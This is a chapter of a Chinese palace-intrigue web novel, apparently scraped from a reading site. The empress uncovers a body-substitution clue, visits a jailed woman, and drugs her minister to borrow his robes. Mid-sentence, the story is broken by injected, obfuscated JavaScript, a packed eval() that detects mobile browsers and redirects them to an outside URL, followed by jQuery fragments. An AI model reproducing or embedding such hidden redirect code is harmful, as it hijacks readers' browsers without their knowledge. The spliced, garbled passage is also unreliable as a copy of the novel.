默认冷灰
24号文字
方正启体

42. 第四十二章

作者:花king本书字数:K更新时间:
    时值正午,大明宫艳阳高照,白枝翠叶轻轻晃动,暖风习习,蝉鸣声声。


    裴砚沿着回廊静静地往宫门处走,一双漆黑的眼眸隐在斑驳的树影中,眼中情愫也似跳动的光影般若隐若现。


    他脑中仍旧在回想那个不经意间被他叫出口的两个字,如谶文咒语一般在耳畔回想萦绕,绵延不绝。


    他从未如此失态过,也从不允许自己这般放纵,但心中却并不似以往般懊恼愧悔,反而似青梅一般酸甜翠爽,唇齿留香。


    扑闪的光影间,他不由得有些恍惚地贪恋。


    *


    入夏后,日子过得很快,转眼已经天黑,月明星稀,长夜未央。


    长安城不远处的城郊山林里,隐秘的大营一片寂静,只有来回巡逻的士兵踩碎枯枝的噼啪声响。


    “去……契丹?”军帐内,黄艳的眼睛瞪得溜圆,拿着文书,一脸不可置信地问送信来的侍从,“确定是你们裴郎君亲自写的,没有弄错?”


    侍从点点头:“确实是裴郎君今日亲自写的。”


    黄艳不由得哑然失笑,又看了看随信附上的一千两银票,不由得叹了口气,走出大帐。


    “什么乱七八糟的军令,竟然要我扮成契丹人去割回鹘的作物……”


    ……


    自从新帝登基以来,任务越来越奇怪了……


    但军令如山,黄艳并未多想,就开始紧锣密鼓地筹备起来。


    天亮时,一小队骑兵便从长安悄悄出发了。


    与此同时,皇城东北的大明宫内,初升的朝阳也终于照进了蓬莱殿的窗子,夜色尽褪,明窗过风。


    补了长长的一觉,李昭宁终于睁开眼睛,从床上爬起来,懒懒地伸了个懒腰。


    子涵进来为她梳洗的时间,她也不打算闲着,拿过梨园自杀案的验尸报告来看。


    前面的几页都没有问题,李昭宁仔仔细细地看,突然一行字飘过眼前:


    郭小凡,十岁。勒痕位于喉结上方,倒八字形。


    李昭宁的指尖顿在此处,久久未挪开,似乎是要将这行字印在眼睛里。


    “子涵。”


    李昭宁突然出声,将子涵吓了一跳,手上一顿,忙探头问:“怎么了?”


    “十岁的男孩,会长喉结吗?”


    子涵手中的梳子又是一顿,她摆摆手,示意殿中众人都退下,才缓缓道:“陛下的意思是……这个人,是替死的?”


    李昭宁回过头,笃定道:“下朝后,陪朕去一趟刑部。”


    早朝时,陈崔意外地没有给她使绊子,除了盛香坊案,就只有常规的事务汇报,她一一处理完,也才卯时三刻。


    下朝后,李昭宁轻装简服,带了些御寒的衣物和一件大披风,同子涵一起走到了刑部大牢的门口。


    狱卒验过身份,吓得差点给李昭宁当场跪下,好在子涵机灵,及时将人扶起,又捂住了他的嘴,才没有让他泄露端倪。


    狱卒抚着胸口,慢慢往前走,时不时回头看看李昭宁,忐忑地吞吞口水,再战战兢兢地转回头继续往前走。


    李昭宁的头稍稍向子涵那边侧了侧,悄悄问:“刑部都是陈崔的人,怎么还怕上朕了?”


    子涵轻笑道:“陛下忘了?新上任的刑部司门郎中,就是与您同登进士科的学子,对您颇为仰慕呢。”


    李昭宁点点头。


    朝中官员任免向来都是吏部所辖,归裴砚——或者说陈崔来管,但她没想到,裴砚将新科进士们安排到了刑部司门,倒是省了她一番打点所用的银钱了。


    “到了。”狱卒的话打断了李昭宁的思绪,她停下脚步,望着牢房内那抹纤弱如柳的身影。


    柳莺莺坐在牢房角落的干草堆上,低着头发愣,好似根本听不到也看不到任何东西一般枯坐着。


    但她形容并不憔悴,反而衣衫完好、面色红润,除了沾上些牢房的草屑灰尘,整个人显得脏兮兮之外,没有任何受到毒打和虐待的痕迹。


    李昭宁不禁又在心里把裴砚夸了一遍。


    不愧是裴砚,不曾偏私,也不允重刑。


    思忖间,狱卒已经将门打开,待两人走进去,又将门锁上,道:


    “按律例,您有一刻钟的时间说话,待时间到了,微臣再来接您。”


    说罢,狱卒梗着脖子看了李昭宁两眼,被子涵瞪着离开了。


    柳莺莺这才站起来迎上去:“陛……”


    李昭宁将食指束在柳莺莺唇上:“嘘……”


    李昭宁虽然是女帝,但也没有亲自来牢房探监的权限和道理,声张反而引起舆论,不如静悄悄的好。


    柳莺莺会意地噤声,同李昭宁一齐到牢房小桌处坐下。


    见柳莺莺并不多话,李昭宁调笑着道:“怎么不说话?不急着我为你申冤?”


    柳莺莺抿唇一笑,眼中满是对眼前人的信任:“清者自清,况且……民妇相信陛下。”


    李昭宁一笑,忍不住捏了捏柳莺莺的脸颊,突然话锋一转:“在这里吃得如何?”


    柳莺莺一愣,有些意外,但还是答道:“都是家常的普通饭食,基本是素菜……但这里是监狱,吃些苦也正常。”


    李昭宁又问:“喝的水呢?”


    柳莺莺正要回答,突然看到李昭宁的手随意地往桌上一搭,指尖竟不知何时沾了厚厚的一层灰,在桌上写下一行字:


    郭小凡今年多大了?


    柳莺莺将要说出口的话停在唇边,愣了一瞬,随即会意一笑,终于开口答话:“喝的……水很凉,不如家里的水清澈,而且也有很多灰尘……”


    她一边说,一边在桌上写下两个字:


    十岁。


    李昭宁眉毛一挑,抬起袖子将桌上那些字全都蹭干净,再将她带来的东西都悉数留下,叮嘱她保重身体,那狱卒便来叫人了。


    临走前,李昭宁似宽慰又似叮嘱地拍了拍柳莺莺的肩:


    “我不能让任何你熟悉的人来探监……你好生保重,下次,我来接你出狱。”


    柳莺莺笑着应道:“好。”


    从大牢出来,见李昭宁径直走向了大明宫的方向,子涵因问:“陛下不是要去大理寺吗,怎么急着回去?”


    李昭宁点头:“郭小凡确实才十岁,停在大理寺的那具尸体一定是假的。但大理寺卿方明昱是陈崔的人,就算亲自去,也不一定能进门……”


    李昭宁眨眨眼,唇角微微翘起来,眼中满是小狐狸一般的狡黠:“所以,要借个身份去。”


    李昭宁拉着子涵回了大明宫,在延英殿该吃吃该喝喝,该批奏折批奏折,转眼已是傍晚。


    暑热消退,蛙鸣声声。


    延英殿外,出现了一个高大颀长的身影,刚到,就被小太监引进了屋子。


    李昭宁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400587|165603||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头都没抬:“事情办完了?”


    裴砚正欲俯身行礼,闻言一愣,手上的动作也被打断,就干脆收了袖子背在身后,缓缓开口:“已让中尉率领精兵去契丹,挑拨离间。”


    她这才抬起头,望着裴砚愣了一瞬,待明白过来时,禁不住浅浅一笑。


    她本意是让裴砚带点兵去西北边境弄点幺蛾子,激起两国纷争,如此睿王收到消息,就一定会分兵回去,而到达长安的兵力就会少些。


    若西北的动静足够大,那么睿王甚至有可能会直接回凉州去,不再来长安了。


    哪知裴砚在围魏救赵之上,又添了一计借刀杀人。


    挑起契丹与回鹘的纷争,能引起睿王的重视,而大周边境的百姓也不必受战事之苦,可谓一箭双雕之计。


    她满意地点点头:“办得不错。”


    “既是如此……”裴砚忽然走上前,居高临下地盯着李昭宁,目光如一汪氤氲着雾气的温泉一般,将李昭宁烫得蓦然一惊。


    “臣斗胆向陛下讨个赏赐。”


    李昭宁心下一颤,但仍就是不动声色地稳着声音:“想要什么?”


    裴砚还未开口,子涵便端着茶盘走了进来,给李昭宁书桌上放了一盏,又在堂下偏侧的桌子上放了一盏,躬身向裴砚道:“西域的葡萄饮,尚书可以尝尝。”


    裴砚蓦地望向李昭宁,却发现她眼中盛满盈盈笑意,微微向他点了点头:“试试?”


    裴砚便压下心头悸动,走到一旁坐下,端起茶盏来轻轻品了一口。


    茶香淡,果香却浓郁,而入口并不甜,泛着淡淡的涩调,与鼻腔中的清甜混合得恰到好处。


    裴砚不禁点了点头:“好茶。”


    李昭宁笑道:“裴卿喜欢,不放多饮两口,”她眨眨眼睛,低头看手中的奏折,“赏赐嘛,边喝边想。”


    裴砚不疑有他,低下头又喝了两口,刚放下茶盏,眼前便是一阵眩晕。


    他骤然一惊,眉头紧紧地皱成一团,而下一瞬,眉眼便松了下来,整个人也缓缓地向地面滑落下去。


    子涵眼疾手快地过去将人扶住,戳了戳他的人中,确认他昏迷后,才回头向李昭宁道:“陛下,他短时间内……应该是不会醒了。”


    李昭宁点头,方才眉眼间的明朗笑意消失得无影无踪:“脱吧。”


    子涵愣了愣:“在这里?……陛?……下?”


    李昭宁蹲下来就开始解裴砚腰间的革带,语气清淡得仿佛这只是一具穿着衣服的骨架,“又不是脱光,慌什么,快脱。”


    子涵:……


    不一会儿,衣冠楚楚的裴砚便被剥得只剩一身中衣,软软地躺在地上,眉梢舒展,双眼微阖,烛光下的睫毛随着呼吸微微颤动。


    “像一支任人采撷的鲜花。”李昭宁歪歪脑袋,点评道。


    子涵忍不住噗哧一笑,替李昭宁又垫了一双鞋垫,拿给她:“陛下看看,这样可够高了?”


    李昭宁穿上那双垫了□□层鞋垫的靴子,走到镜子前看了看,又命子涵拿了两只小扁圆的布团子来垫高肩膀,这才将裴砚的衣服往身上套。


    霎时一阵清爽酸凉的柑橘香氤氲而来,混着桂花的清甜之气,李昭宁忍不住吸了吸鼻子,又想起那日在长安城郊,他交给李昭宁提神的那个小瓶子。


    这香没有寻常熏香的烟火气,李昭宁忍不住又抬起袖子闻了闻。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)